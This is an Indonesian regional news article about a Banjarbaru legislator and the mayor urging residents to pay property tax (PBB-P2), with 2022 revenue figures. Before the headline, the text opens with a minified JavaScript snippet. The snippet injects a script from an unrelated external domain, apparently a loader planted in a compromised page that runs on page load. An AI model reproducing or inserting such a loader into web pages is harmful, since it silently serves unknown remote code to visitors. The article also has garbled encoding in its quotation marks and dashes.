(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ketua DPRD Minta Warga Taat Bayar Pajak untuk Pembangunan

KANALKALIMANTAN.COM, BANJARBARU – Ketua DPRD Banjarbaru Fadliansyah mengimbau masyarakat taat membayar pajak sebagai bentuk dukungan terhadap pembangunan.

â€œPajak merupakan kewajiban sekaligus sebagai bentuk dukungan terhadap pembangunan yang dilaksanakan pemerintah, jadi saya imbau agar warga taat membayarnya,â€ ujar disela acara gerakan Sadar bayar Pajak Bumi dan Bangunan Perdesaan dan Perkotaan (PBB–P2) bagi warga Kota Banjarbaru, Kamis (16/2/2023).

Menurut Fadli â€“biasa disapa- pada pencanangan gerakan itu ia berharap membangkitkan niat dan kesadaran masyarakat memenuhi kewajiban atas aset yang dimiliki.

Aset yang dimiliki dikenakan pajak sesuai aturan dan ketentuan berlaku sehingga menjadi kewajiban untuk memenuhinya apalagi pembayaran pajak akan kembali dalam bentuk pembangunan.

Menurut politisi Partai Gerindra itu, kesadaran masyarakat membayar pajak sangata dibutuhkan karena dananya digunakan untuk kembali membangun kota yang salah satunya berasal dari penerimaan pajak.

â€œPajak yang dibayar masyarakat akan dikembalikan dalam bentuk pembangunan berupa jalan, sarana prasarana publik dan infrastruktur perkotaan lain yang dibangun untuk masyarakat,â€ kata Ketua DPRD Banjarbaru.

Wali Kota M Aditya Mufti Ariffin mencanangkan gerakan sadar bayar PBB-P2 dan meminta Aparatur Sipil Negara (ASN) dan wajib pajak perorangan memenuhi kewajiban dalam membayar pajak.

â€œKami minta Badan Pengelolaan Pajak dan Retribusi Daerah untuk mendata ASN dan wajib pajak agar taat membayar pajak,â€ ujar Wali Kota pada gerakan sadar bayar PBB-P2 di Gedung Bina Satria.

PBB-P2 merupakan kewajiban baik bagi ASN maupun perorangan yang harus dibayar sesuai batas waktu yang telah ditentukan.

Sementara itu, realisasi PBB-P2 tahun 2022 yang dihimpun BP2RD dari target Rp 15,02 miliar tercapai sebesar Rp 16,4 miliar atau 109,68 persen.

Sedangkan target penerimaan PBB-P2 ditetapkan sebesar Rp 19,5 miliar dan berusaha direalisasikan melalui sejumlah program salah satunya adalah gerakan sadar bayar PBB-P2 tersebut. (Kanalkalimantan.com/al)

Reporter: al
Editor: kk